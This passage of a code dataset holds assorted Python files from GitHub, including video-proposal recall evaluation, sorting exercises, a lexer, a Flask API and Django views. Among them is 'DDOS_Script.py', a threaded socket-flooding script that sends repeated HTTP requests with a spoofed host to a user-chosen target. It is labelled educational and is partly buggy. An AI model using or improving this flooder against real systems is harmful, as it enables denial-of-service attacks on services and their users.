'f-end']].values\n # Sort proposals by score.\n sort_idx = proposals[prop_idx]['score'].argsort()[::-1]\n this_video_proposals = this_video_proposals[sort_idx, :]\n\n # Get ground-truth instances associated to this video.\n gt_idx = ground_truth['video-name'] == videoid\n this_video_ground_truth = ground_truth[gt_idx][['f-init',\n 'f-end']].values\n\n # Compute tiou scores.\n tiou = segment_tiou(this_video_ground_truth, this_video_proposals)\n score_lst.append(tiou)\n score_name.append(videoid)\n\n # Computes average recall.\n freq_lst = np.array([float(number) for number in 10 ** (np.arange(-1, 0.9, 0.1))])\n matches = np.empty((video_lst.shape[0], freq_lst.shape[0]))\n positives = np.empty(video_lst.shape[0])\n recall = np.empty((tiou_thresholds.shape[0], freq_lst.shape[0]))\n # Iterates over each tiou threshold.\n for ridx, tiou in enumerate(tiou_thresholds):\n\n # Inspect positives retrieved per video at different\n # number of proposals (percentage of the total retrieved).\n for i, score in enumerate(score_lst):\n frm_num = frm_nums[score_name[i]]\n # Total positives per video.\n positives[i] = score.shape[0]\n\n for j, freq in enumerate(freq_lst):\n # Get number of proposals as a percentage of total retrieved.\n nr_proposals = min(score.shape[1], int(freq * frm_num / 30.0))\n # Find proposals that satisfies minimum tiou threhold.\n matches[i, j] = ((score[:, :nr_proposals] >= tiou).sum(axis=1) > 0).sum()\n\n # Computes recall given the set of matches per video.\n recall[ridx, :] = matches.sum(axis=0) / positives.sum()\n\n # Recall is averaged.\n recall = recall.mean(axis=0)\n\n return recall, freq_lst\n\n\ndef recall_vs_tiou_thresholds(proposals, ground_truth, nr_proposals=1000,\n tiou_thresholds=np.arange(0.05, 1.05, 0.05)):\n # Get list of videos.\n video_lst = proposals['video-name'].unique()\n\n # For each video, computes tiou scores among the retrieved proposals.\n score_lst = []\n for videoid in video_lst:\n # Get proposals for this video.\n prop_idx = proposals['video-name'] == videoid\n this_video_proposals = proposals[prop_idx][['f-init',\n 'f-end']].values\n # Sort proposals by score.\n sort_idx = proposals[prop_idx]['score'].argsort()[::-1]\n this_video_proposals = this_video_proposals[sort_idx, :]\n\n # Get ground-truth instances associated to this video.\n gt_idx = ground_truth['video-name'] == videoid\n this_video_ground_truth = ground_truth[gt_idx][['f-init',\n 'f-end']].values\n\n # Compute tiou scores.\n tiou = segment_tiou(this_video_ground_truth, this_video_proposals)\n score_lst.append(tiou)\n\n # To obtain the average number of proposals, we need to define a\n # percentage of proposals to get per video.\n pcn = (video_lst.shape[0] * float(nr_proposals)) / proposals.shape[0]\n\n # Computes recall at different tiou thresholds.\n matches = np.empty((video_lst.shape[0], tiou_thresholds.shape[0]))\n positives = np.empty(video_lst.shape[0])\n recall = np.empty(tiou_thresholds.shape[0])\n # Iterates over each tiou threshold.\n for ridx, tiou in enumerate(tiou_thresholds):\n\n for i, score in enumerate(score_lst):\n # Total positives per video.\n positives[i] = score.shape[0]\n\n # Get number of proposals at the fixed percentage of total retrieved.\n nr_proposals = int(score.shape[1] * pcn)\n # Find proposals that satisfies minimum tiou threhold.\n matches[i, ridx] = ((score[:, :nr_proposals] >= tiou).sum(axis=1) > 0).sum()\n\n # Computes recall given the set of matches per video.\n recall[ridx] = matches[:, ridx].sum(axis=0) / positives.sum()\n\n return recall, tiou_thresholds\n\n\ndef recall_freq_vs_tiou_thresholds(proposals, ground_truth, frm_nums,\n tiou_thresholds=np.arange(0.05, 1.05, 0.05)):\n # Get list of videos.\n video_lst = proposals['video-name'].unique()\n\n # For each video, computes tiou scores among the retrieved proposals.\n score_lst = []\n score_name = []\n for videoid in video_lst:\n # Get proposals for this video.\n prop_idx = proposals['video-name'] == videoid\n this_video_proposals = proposals[prop_idx][['f-init',\n 'f-end']].values\n # Sort proposals by score.\n sort_idx = proposals[prop_idx]['score'].argsort()[::-1]\n this_video_proposals = this_video_proposals[sort_idx, :]\n\n # Get ground-truth instances associated to this video.\n gt_idx = ground_truth['video-name'] == videoid\n this_video_ground_truth = ground_truth[gt_idx][['f-init',\n 'f-end']].values\n\n # Compute tiou scores.\n tiou = segment_tiou(this_video_ground_truth, this_video_proposals)\n score_lst.append(tiou)\n score_name.append(videoid)\n\n freq = 1.0\n\n # Computes recall at different tiou thresholds.\n matches = np.empty((video_lst.shape[0], tiou_thresholds.shape[0]))\n positives = np.empty(video_lst.shape[0])\n recall = np.empty(tiou_thresholds.shape[0])\n # Iterates over each tiou threshold.\n for ridx, tiou in enumerate(tiou_thresholds):\n\n for i, score in enumerate(score_lst):\n # Total positives per video.\n positives[i] = score.shape[0]\n frm_num = frm_nums[score_name[i]]\n nr_proposals = int(min(score.shape[1], freq * frm_num / 30.0))\n # Find proposals that satisfies minimum tiou threhold.\n matches[i, ridx] = ((score[:, :nr_proposals] >= tiou).sum(axis=1) > 0).sum()\n\n # Computes recall given the set of matches per video.\n recall[ridx] = matches[:, ridx].sum(axis=0) / positives.sum()\n\n return recall, tiou_thresholds\n\n\n# Computes average recall vs average number of proposals.\naverage_recall, average_nr_proposals = average_recall_vs_nr_proposals(daps_results,\n ground_truth)\n\n# Computes average recall vs proposal frequency.\naverage_recall_freq, freqs = average_recall_vs_freq(daps_results, ground_truth, frm_nums)\n\n# Computes recall for different tiou thresholds at a fixed average number of proposals.\nrecall, tiou_thresholds = recall_vs_tiou_thresholds(daps_results, ground_truth,\n nr_proposals=1000)\n\nrecall_freq, tiou_thresholds_freq = recall_freq_vs_tiou_thresholds(daps_results, ground_truth, frm_nums)\n","repo_name":"MCG-NJU/BasicTAD","sub_path":"tools/Eval_Thumos14/eval_proposal.py","file_name":"eval_proposal.py","file_ext":"py","file_size_in_byte":13271,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"62"} +{"seq_id":"20433115268","text":"import unittest\nimport time\n\n## Exercise 1\n\ndef sieve(n):\n \"\"\"Algorithm to find primes by eliminating multiples iteratively\n and saving primes and non-primes as dictionary\"\"\"\n start_time = time.time() # starts timer for the main body of the function\n sieve = {\"prime\": [], \"non-prime\": []}\n numbers = list(range(2, n + 1)) # creates list of numbers from 2 to n\n for i in numbers:\n f = 2 # starting value f\n while i * f <= n:\n if i * f in numbers:\n numbers.remove(i * f)\n sieve[\"non-prime\"].append(i * f)\n f += 1\n sieve[\"prime\"] = numbers\n\n end_time = time.time() # ends timer of function\n print(\"Total time: %0.5f\"%(end_time - start_time)) # calculates overall time of function\n\n return sieve\n\n\n\n## 1b)\n\nprint(sieve(1000))\nprint('\\n')\nprint(sieve(10000)) # from the times produced by the time function we can\n# see that when n = 10000 it took over a hundred times the duration of n = 1000\n\n\n## 1c)\n\nclass Testsieve(unittest.TestCase):\n \"\"\"Unit test to check the accuracy of sieve function\"\"\"\n def setUp(self): # This processes the file used for checking\n with open(\"primes_check.txt\", \"r\") as f:\n primes_check = f.readlines()\n primes = primes_check[1].split(\",\")\n non_primes = primes_check[3].split(\",\")\n primes.remove(\"\\n\")\n self.primes = [int(i) for i in primes]\n non_primes.remove('')\n self.nonprimes = [int(i) for i in non_primes]\n\n def test_sieve(self):\n result = sieve(200)\n self.assertCountEqual(result[\"prime\"], self.primes)\n self.assertCountEqual(result[\"non-prime\"], self.nonprimes) # use CountEqual as the non-prime list is unsorted\n\n## 1d) on pdf file\n\n\n\n## Exercise 2a)\n\ndef mergesort(lst):\n \"\"\"Algorithm to order a list using the mergesort process of seperating and\n rebuilding the elements\"\"\"\n if len(lst) <= 1: # As this is a recursive function this provides halting mechanism\n return lst\n\n mid = int(len(lst) / 2)\n left = mergesort(lst[:mid]) # performs the same merging process on the split list\n right = mergesort(lst[mid:]) # as this is recursive it breaks each sublist down until single\n i, j, d = 0, 0, 0\n\n while i < len(left) and j < len(right):\n if left[i] <= right[j]: # compares lowest value of each list and adds it\n lst[d] = left[i]\n i+=1\n else:\n lst[d] = right[j]\n j+=1\n d += 1\n\n while i < len(left):\n lst[d] = left[i]\n i += 1\n d += 1\n while j < len(right):\n lst[d] = right[j]\n j += 1\n d += 1\n\n return lst\n\nexample_lst = [5, 6, 2, 48, 56, 88, -1, 2, 4, 5] #n little test of the funciton\nprint(mergesort(example_lst))\n\n\n## 2b)\n\n\ndef search(n, x): # assumes a sorted list\n \"\"\"Combines previous mergesort function with binary search to sort a list\n and look for an element within it\"\"\"\n\n data_sorted = mergesort(x) # previous function\n low = 0\n high = len(data_sorted) - 1\n\n while low <= high:\n mid = (low + high) // 2\n if n == data_sorted[mid]:\n return True\n elif n < data_sorted[mid]:\n high = mid - 1\n else:\n low = mid + 1\n\n return False\n\nprint(search(48, example_lst))\n\n\n## 2c)\n\nclass Testsearch(unittest.TestCase):\n \"\"\"Unit test to check search function on predetermined lists\"\"\"\n def setUp(self):\n self.i = [45, 19187, 232, 8974, 32, 547, 9081, 2, 67, 421]\n self.ii = [345, 10, 754743, 435, 321, 65, 2690, 1234, 5]\n\n def test_search(self):\n self.assertTrue(search(32, self.i))\n self.assertFalse(search(191, self.ii))\n\n## 2d) - 3b) on pdf\n\n\nif __name__ == '__main__':\n unittest.main()\n#\n","repo_name":"ldxib2/Previous_Projects","sub_path":"assignment08/solution/assignment08.py","file_name":"assignment08.py","file_ext":"py","file_size_in_byte":3799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30117252458","text":"'''Crie um programa que leia duas notas de um aluno e calcule sua média, mostrando uma mensagem no final de acordo com a média atingida:\n- Média abaixo de 5.0:REPROVADO\n-Média entre 5.0 e 6.9: RECUPERAÇÃO\n-Média 7.0 ou superior: APROVADO'''\n\nn1 = float(input('Nota1: '))\nn2 = float(input('Nota2: '))\nmedia = (n1+n2)/2\nif media < 5:\n print(f'Sua média foi {media}, portanto você está REPROVADO!')\nelif media >= 7:\n print(f'Sua média foi {media}, parabéns, você está APROVADO!')\nelse:\n print(f'Sua média foi {media}, portanto você está em RECUPERAÇÃO!')\n\n","repo_name":"LouiseCerqueira/python3-exercicios-cursoemvideo","sub_path":"python3_exercicios_feitos/Desafio040.py","file_name":"Desafio040.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26827597589","text":"# pre-define\n\n_Keywords = {\n \"and\",\n \"as\",\n \"assert\",\n \"async\",\n \"await\",\n \"break\",\n \"class\",\n \"continue\",\n \"def\",\n \"del\",\n \"elif\",\n \"else\",\n \"except\",\n \"False\",\n \"finally\",\n \"for\",\n \"from\",\n \"global\",\n \"if\",\n \"import\",\n \"in\",\n \"is\",\n \"lambda\",\n \"None\",\n \"nonlocal\",\n \"not\",\n \"or\",\n \"pass\",\n \"raise\",\n \"return\",\n \"True\",\n \"try\",\n \"while\",\n \"with\",\n \"yield\",\n}\n\n_Operators = {\n \"+\",\n \"-\",\n \"*\",\n \"/\",\n \"%\",\n \"**\",\n \"//\",\n \"==\",\n \"!=\",\n \">\",\n \"<\",\n \">=\",\n \"<=\",\n \"and\",\n \"or\",\n \"not\",\n \"is\",\n \"is not\",\n \"in\",\n \"not in\",\n}\n\n_Delimiters = {\n \"(\",\n \")\",\n \"[\",\n \"]\",\n \"{\",\n \"}\",\n \"@\",\n \".\",\n \",\",\n \":\",\n \";\",\n \"=\",\n \"->\",\n \"+\",\n \"-\",\n \"*\",\n \"/\",\n \"//\",\n \"%\",\n \"@\",\n}\n\n\nclass DFA:\n def __init__(self) -> None:\n self.__states = {\n \"start\": {\n \".\": \"Literals_Float\",\n \"0\": \"Literals_Int\",\n \"1\": \"Literals_Int\",\n \"2\": \"Literals_Int\",\n \"3\": \"Literals_Int\",\n \"4\": \"Literals_Int\",\n \"5\": \"Literals_Int\",\n \"6\": \"Literals_Int\",\n \"7\": \"Literals_Int\",\n \"8\": \"Literals_Int\",\n \"9\": \"Literals_Int\",\n '\"': \"Literals_String\",\n },\n \"Keyword\": {},\n \"Operator\": {},\n \"Delimiter\": {},\n \"Identifier\": {},\n \"Literals\": {\n \"String\": {},\n \"Int\": {\n \".\": \"Literals_Float\",\n \"0\": \"Literals_Int\",\n \"1\": \"Literals_Int\",\n \"2\": \"Literals_Int\",\n \"3\": \"Literals_Int\",\n \"4\": \"Literals_Int\",\n \"5\": \"Literals_Int\",\n \"6\": \"Literals_Int\",\n \"7\": \"Literals_Int\",\n \"8\": \"Literals_Int\",\n \"9\": \"Literals_Int\",\n \"+\": \"Literals_Imaginary\",\n \"-\": \"Literals_Imaginary\",\n },\n \"Float\": {\n \"0\": \"Literals_Float\",\n \"1\": \"Literals_Float\",\n \"2\": \"Literals_Float\",\n \"3\": \"Literals_Float\",\n \"4\": \"Literals_Float\",\n \"5\": \"Literals_Float\",\n \"6\": \"Literals_Float\",\n \"7\": \"Literals_Float\",\n \"8\": \"Literals_Float\",\n \"9\": \"Literals_Float\",\n \"e\": \"Literals_Scientific\",\n \"E\": \"Literals_Scientific\",\n },\n \"Imaginary\": {},\n \"Scientific\": {},\n },\n }\n\n def get_states(self):\n print(\"states: \", self.__states)\n\n def easy_check(self, input):\n if input in _Keywords:\n return \"Keyword\"\n elif input in _Operators:\n return \"Operator\"\n elif input in _Delimiters:\n return \"Delimiter\"\n return False\n\n def check_Literals(self, input, p):\n current = self.__states[\"start\"]\n type = \"\"\n lens = len(input)\n if input[0] not in current:\n return False\n\n # \":\" 的处理方法!\n while p < lens:\n ch = input[p]\n type = current[ch]\n next = self.__states[\"Literals\"][type.split(\"_\")[1]]\n if not next:\n return type\n\n current = next\n p += 1\n\n return type\n\n def check_complex(self, input, row):\n # check identifier\n def check_Identifier(input, l):\n # check the first ch\n if input[0].isdigit():\n return False, 0 \n \n isLetter = True\n isDigit = True\n isUnderscore = True\n p = l - 1\n\n while isLetter or isDigit or isUnderscore:\n p += 1\n if p == len(input):\n break\n ch = input[p]\n isLetter = ch.isalpha()\n isDigit = ch.isdigit()\n isUnderscore = (ch == \"_\")\n\n if p == l:\n return False, p\n return True, p\n\n # check \"( ) ,\"\n def check_delimiter(input):\n if input in _Delimiters:\n return True\n\n token_complex = []\n p = l = 0\n while l < len(input):\n isIdentifier, p = check_Identifier(input, l)\n if isIdentifier:\n cont = input[l:p]\n easyCheck = self.easy_check(cont)\n if easyCheck:\n output = \"row: \" + str(row) + \", type: \" + easyCheck + \", content: \" + cont\n else:\n output = \"row: \" + str(row) + \", type: Identifier, content: \" + cont\n token_complex.append(output)\n\n if p == len(input):\n break\n ch = input[p : p + 1]\n isDelimiter = check_delimiter(ch)\n if isDelimiter:\n output = \"row: \" + str(row) + \", type: Delimiter, content: \" + ch\n token_complex.append(output)\n\n l = p + 1\n return token_complex[:]\n","repo_name":"siyi424/Lexer_and_LL1parser","sub_path":"preDef.py","file_name":"preDef.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39134183571","text":"import sys\nimport time\nclass ProgressConsole(object):\n def process(self, num, total, name):\n now_num = num\n avg = int(now_num/total*50)\n process_now = '>' * avg\n space_now = ' ' * (50 - avg)\n r = '\\r当前任务:%s 总计:\\033[1;31;31m %s \\033[0m 进度:[%s%s] 当前:\\033[1;31;33m %s%% \\033[0m' % (name, total, process_now, space_now, avg*2)\n sys.stdout.write(r)\n sys.stdout.flush()\n\n\nif __name__ == '__main__':\n p1 = ProgressConsole()\n p2 = ProgressConsole()\n for i in range(100):\n time.sleep(0.1)\n p1.process(i, 100, '222')","repo_name":"Brantini/IL","sub_path":"utils/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40331561748","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSummary: \n In this script I will perform\nInput:\n ./outputs/...\nOutput:\n Some outputs\n\"\"\"\n\nimport pandas as pd\nimport json\nfrom collections import defaultdict\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport numpy as np\npd.options.display.width = 0\n\n# %%\noutput_code = \"13_01_01\"\n\n# %%\n## Adding the metadata of each entity\ndf_entity_to_annotated_race_gender_expertise = pd.read_csv(f\"../outputs/data/08_01_01_entity_race_gender_expertise_news_count.csv\", na_filter=False)\n\ndf_entity_to_annotated_race_gender_expertise[\"entity_id\"] = df_entity_to_annotated_race_gender_expertise[\"entity_id\"].apply(lambda x: str(x))\nmetadata_index = 'entity_id'\nmetadata_list = [\n 'entity_name',\n 'sex',\n 'pronoun',\n 'race',\n 'urm',\n \"gender_urm\",\n 'public_health_researcher',\n 'practitioner',\n 'non_public_health_researcher',\n 'policymaker',\n 'industry_expert',\n 'celebrity',\n 'journalist',\n \"expertise_label_by_relative_expertise\",\n \"expertise_label_by_relative_reach\",\n 'news_count',]\n\ndef merge_expertise(string):\n if string in [\"journalist\",\"industry_expert\",\"celebrity\",\"not_available\"]:\n return \"other\"\n elif string in [\"public_health_researcher\",\"non_public_health_researcher\"]:\n return \"researcher\"\n else:\n return string\n\ndf_entity_to_annotated_race_gender_expertise[\"merged_expertise\"] = df_entity_to_annotated_race_gender_expertise[\"expertise_label_by_relative_expertise\"].apply(merge_expertise)\n \ndicts_entity_id_to_metadata = df_entity_to_annotated_race_gender_expertise.set_index(metadata_index).to_dict()\n\n# %%\n## Importing the network\ninput_dir=\"../outputs/network\"\ninput_basename=\"comention_network_with_metadata\"\ninput_full_fname=f\"{input_dir}/05_01_01_{input_basename}.edgelist\"\nG = nx.readwrite.edgelist.read_edgelist(input_full_fname)\n\n# %%\n## Get the individuals with specific degree or mentions\ncount_types = [\"degree count\",\"news mention count\"]\nfor count_type in count_types:\n dict_value_count_to_entity_ids = defaultdict(list)\n if count_type == \"degree count\":\n for entity_id, degree in G.degree():\n dict_value_count_to_entity_ids[degree].append(entity_id)\n elif count_type == \"news mention count\":\n for entity_id, news_count in dicts_entity_id_to_metadata[\"news_count\"].items():\n dict_value_count_to_entity_ids[news_count].append(entity_id)\n\n # %%\n ## Get the attributes for the degree to entity_ids\n attributes = [\"urm\", \"pronoun\", \"merged_expertise\"]\n dict_attribute_levels = {\n \"urm\":[\"No\",\"Yes\"],\n \"pronoun\":[\"He\",\"She\",\"They\"],\n \"merged_expertise\":[\"researcher\",\"practitioner\",\"policymaker\",\"other\"]\n }\n\n dict_attribute_levels_label = {\n \"urm\":[\"non-URM\",\"URM\"],\n \"pronoun\":[\"he\",\"she\",\"they\"],\n \"merged_expertise\":[\"researcher\",\"practitioner\",\"policymaker\",\"other\"]\n }\n\n for attribute in attributes:\n dict_degree_to_attribute = {degree:[dicts_entity_id_to_metadata[attribute][entity_id] for entity_id in entity_ids] for degree,entity_ids in dict_value_count_to_entity_ids.items()}\n max_value_to_plot = 6\n combined_attributes_beyond_max_value = []\n for degree,attributes in dict_degree_to_attribute.items():\n if degree >= max_value_to_plot:\n combined_attributes_beyond_max_value.extend(attributes)\n dict_degree_to_attribute_values_beyond_max_combined = {k:v for k,v in dict_degree_to_attribute.items() if k < max_value_to_plot}\n dict_degree_to_attribute_values_beyond_max_combined[max_value_to_plot] = combined_attributes_beyond_max_value\n\n show_count_in_tick = True\n logx= False\n logy= False\n title = \"\"\n title = f\"Distribution of {count_type} of \\nindividuals by their attribute\"\n savefig_dir = \"\"\n\n ## To make sure we have the same color for the whole range, we should use an array\n ## and an index\n current_attribute = attribute\n dict_values_by_attribute_level = {}\n counted_values = sorted(dict_degree_to_attribute_values_beyond_max_combined)\n for attribute in dict_attribute_levels[current_attribute]:\n attribute_count_for_sorted_values = []\n for value in counted_values:\n attribute_count_for_sorted_values.append(dict_degree_to_attribute_values_beyond_max_combined[value].count(attribute))\n dict_values_by_attribute_level[attribute] = attribute_count_for_sorted_values\n\n indices = range(len(counted_values))\n arr = np.zeros(shape=(len(dict_attribute_levels[current_attribute]),len(counted_values)))\n\n for i,attribute_level in enumerate(dict_attribute_levels[current_attribute]):\n arr[i] = dict_values_by_attribute_level[attribute_level]\n\n cumsum_bottom_values = np.zeros(len(counted_values))\n\n fig,ax = plt.subplots(figsize=(8,3.5))\n bars = []\n for i,attribute_level in enumerate(dict_attribute_levels[current_attribute]):\n print(i,attribute_level)\n values = arr[i]\n print(values)\n print(cumsum_bottom_values)\n bar=ax.bar(indices, values, bottom=cumsum_bottom_values)\n bars.append(bar)\n cumsum_bottom_values = cumsum_bottom_values+values\n\n val_with_count = [str(x[0])+\"\\n(%d)\"%x[1] for x in zip(counted_values,[len(dict_degree_to_attribute_values_beyond_max_combined[degree]) for degree in counted_values])]\n xticks = range(len(counted_values))\n ax.set_xticks(xticks)\n if show_count_in_tick:\n ax.set_xticklabels(val_with_count)\n else:\n ax.set_xticklabels(counted_values)\n ax.set_ylabel(\"Count\")\n ax.set_xlabel(current_attribute)\n ax.grid(axis=\"y\", alpha = 0.5)\n if logx:\n ax.set_xscale('log')\n if logy:\n ax.set_yscale('log')\n if title:\n ax.set_title(title)\n ax.legend(bars, dict_attribute_levels_label[current_attribute])\n plt.tight_layout()\n count_type_name_for_fname= \"_\".join(count_type.split())\n savefig_dir = f\"../figures/{output_code}_{count_type_name_for_fname}_by_{current_attribute}.png\"\n if savefig_dir:\n plt.savefig(savefig_dir, dpi = 150)\n #plt.ylim(0,1e3)\n plt.show()\n\n\n\n\n","repo_name":"COVID19-DVRN/Project-C-External---Gender-biased-representation-of-COVID19-Experts","sub_path":"scripts/13_01_01_stacked_barplots_newscountdist_and_degree_dist.py","file_name":"13_01_01_stacked_barplots_newscountdist_and_degree_dist.py","file_ext":"py","file_size_in_byte":6565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"31896722355","text":"import re\n\nprint(\"Simpe Python Calculator v0.1\")\nprint(\"Type 'quit' to exit\\n\")\n\n\nprevious = 0\nrun = True\n\ndef performMath():\n #Get acess to global variables\n global run\n global previous\n\n #Initialize variable to hold equation\n equation = \"\"\n\n if previous == 0:\n equation = input(\"Enter equation: \")\n else:\n equation = input(str(previous))\n\n \n if equation == 'quit':\n run = False\n else:\n #Sanitizing the entered equation for malicious contents!\n equation = re.sub('[a-zA-Z,.:=\" \"]','',equation)\n\n if previous == 0:\n previous = eval(equation)\n else:\n previous = eval(str(previous) + equation)\n\n\nwhile run:\n performMath()\n","repo_name":"dotslash21/PythonSamples","sub_path":"calculator/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36426687739","text":"import threading\nimport socket\n\n# Use code below instead of input for pre-defined target IP Address or Domain\n# target = '10.0.0.1' # target = 'https://www.fakewebsite.com\ntarget = input('IP Address or Domain Name: ')\n# Use code below instead of input for pre-defined target port\n# port = '80' # Pre-defined target input for HTTP Port (80)\nport = input('Input Port # (ex. 21, 22, 23, 53, 80): ')\nfake_ip = '232.165.201'\n\nattack_num = 0\n\ndef attack():\n while True:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect(target, port)\n s.sendto((\"GET /\" + target + \" HTTP/1.1\\r\\n\").encode(\"ascii\"), (target, port))\n s.sendto((\"Host:\" + fake_ip + \"\\r\\n\\r\\n\").encode(\"ascii\"), (target, port))\n s.close()\n\n global attack_num\n attack_num += 1\n if attack_num % 100 == 0:\n print(attack_num)\n \nfor i in range(5000):\n thread = threading.Thread(target=attack)\n thread.start()\n\n\n# This script is purly educational and not intended to be used as an actual DDOS attack script.\n# This script is not optimal, would not be functional for a true DDOS attack. It is a slow method.\n# This is just for a functioning understanding. DDOS attacking is ILLEGAL, IT IS VERY ILLEGAL.","repo_name":"BrentGoodman/Projects","sub_path":"Python-3/Networking_with_Python/DDOS_Script.py","file_name":"DDOS_Script.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"8765850825","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 30 17:21:01 2022\n\n@author: Jinkyung\n\"\"\"\n\ndef solution(begin, end):\n answer = []\n MAX = 10000000\n for num in range(begin, end + 1):\n if num == 1:\n answer.append(0)\n continue\n else:\n start = 2 if num % 2 == 0 else 3\n answer.append(1)\n # 해당 n을 나누어 떨어지게 할 수 있는 값 중 가장 큰 값\n # 가장 작은 약수값으로 n을 나누었을 때의 몫\n for i in range(start, int(num ** 0.5) + 1):\n if num != i and num % i == 0:\n if num // i <= MAX:\n answer[-1] = num // i\n break\n return answer\n","repo_name":"lxs987/Programmers","sub_path":"Programmers/Lv. 2/[구현] 숫자 블록.py","file_name":"[구현] 숫자 블록.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43662693585","text":"import spotipy, jsonreader, json\nfrom spotipy.oauth2 import SpotifyClientCredentials\nimport spotify_feature as sf\n\nclient_credentials_manager = SpotifyClientCredentials(client_id=jsonreader.spotify_client_id, client_secret=jsonreader.spotify_client_key)\nsp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\n\nhalo_tracks = sp.album_tracks('6GSXmRwERX2erR5xuLTajj')\n\n\"\"\"\nfor key in halo_tracks.keys():\n\tprint(key, \"\\t\", halo_tracks[key])\n\tprint(\"\\n\\n\\n\\n\")\n\"\"\"\n\ntrack_num = len(halo_tracks['items'])\ntrack_uri_list = []\n\n#print(halo_tracks['items'][0].keys())\n\nfor _ in range(track_num):\n\ttrack_uri_list.append(halo_tracks['items'][_]['uri'].split(':')[-1])\n\nsf.dumpFeatures(track_uri_list)\n\n#print(sf.dumpFeatures())\n","repo_name":"mzjp2/ichack18","sub_path":"halo_test.py","file_name":"halo_test.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71497577157","text":"from time import gmtime, strftime\nfrom flask_restful import Resource, reqparse\nfrom flask_jwt_extended import jwt_required, jwt_optional, get_jwt_identity\n\nfrom models.item import ItemModel\n\n\nclass Item(Resource):\n\n @jwt_required\n def get(self, _id):\n item = ItemModel.find_by_id(_id)\n if item:\n return item.json()\n\n return {'message': 'Item not found'}, 404\n\n @jwt_required\n def patch(self, _id):\n item = ItemModel.find_by_id(_id)\n _item_parser = reqparse.RequestParser()\n _item_parser.add_argument('price',\n type=float,\n required=True,\n help=\"This field cannot be left blank!\"\n )\n data = _item_parser.parse_args()\n\n if not item:\n return {'message': f\"Can't patch that which doesn't already exist! Please create a new item.\"}, 400\n\n item.price = data['price']\n item.updated_at = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n try:\n item.save_to_db()\n except:\n return {\"message\": \"An internal error occurred updating the item.\"}, 500\n\n return item.json(), 200\n\n @jwt_required\n def delete(self, _id):\n item = ItemModel.find_by_id(_id)\n if item:\n try:\n item.delete_from_db()\n except:\n return {\"message\": \"An internal error occurred deleting the item.\"}, 500\n return {'message': 'Item deleted!'}\n return {'message': 'Item not found.'}, 404\n\n\nclass ItemList(Resource):\n\n @jwt_optional\n def get(self):\n current_user = get_jwt_identity()\n items = [item.json() for item in ItemModel.find_all()]\n if current_user:\n return {'items': items}, 200\n return {\n 'items': [item['name'] for item in items],\n 'message': \"There's more info if you login.\"\n }, 200\n\n @jwt_required\n def post(self):\n _item_parser = reqparse.RequestParser()\n\n _item_parser.add_argument('name',\n type=str,\n required=True,\n help=\"This field cannot be left blank!\"\n )\n _item_parser.add_argument('price',\n type=float,\n required=True,\n help=\"This field cannot be left blank!\"\n )\n _item_parser.add_argument('store_id',\n type=int,\n required=True,\n help=\"Every item needs a store_id.\"\n )\n data = _item_parser.parse_args()\n\n if ItemModel.find_by_name(data['name']):\n return {'message': f\"An item with name '{data['name']}' already exists.\"}, 400\n\n data['created_at'] = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n\n item = ItemModel(**data)\n\n try:\n item.save_to_db()\n except:\n return {\"message\": \"An internal error occurred creating the item.\"}, 500\n return item.json(), 201\n","repo_name":"garretteklof/flask-retail-api","sub_path":"resources/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36282600576","text":"from django.shortcuts import render, get_object_or_404\nfrom django.http import HttpResponse, HttpResponseRedirect, HttpResponseForbidden\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom datetime import date,timedelta\nfrom django.utils.timezone import now\nfrom django.views import generic\nfrom django.core.management.base import CommandError\nfrom django.core.management import call_command\n\nfrom .models import Admin_Pref, Submission, Subscriber\nfrom . import forms\n@login_required\ndef submit(request):\n if request.method == 'POST':\n form = forms.SubmissionForm(request.POST)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.author = request.user\n publish_year = (int) (now().strftime('%Y'))\n current_month = (int) (now().strftime('%m'))\n publish_month = (int)(form.cleaned_data['publish_month'])\n if current_month>9 & publish_month<4:\n publish_year += 1\n instance.month = publish_month\n instance.year = publish_year\n instance.save()\n return HttpResponseRedirect(reverse('newsletter:user'))\n else:\n form = forms.SubmissionForm()\n\n return render(request, 'submit.html', {'form':form})\n\nclass DetailView(generic.DetailView):\n model = Submission\n template_name = 'detail.html'\n\n@login_required\ndef user(request):\n user= request.user\n submissions_unfinished = Submission.objects.filter(author=user,\n finished=False)\n submissions_finished = Submission.objects.filter(author=user,\n finished=True)\n context={'submissions_unfinished':submissions_unfinished,\n 'submissions_finished':submissions_finished}\n return render(request, 'user.html', context=context)\n\n@login_required\ndef edit(request,pk):\n if request.method == 'POST':\n form = forms.EditForm(request.POST)\n if form.is_valid():\n instance = get_object_or_404(Submission, pk=pk)\n if 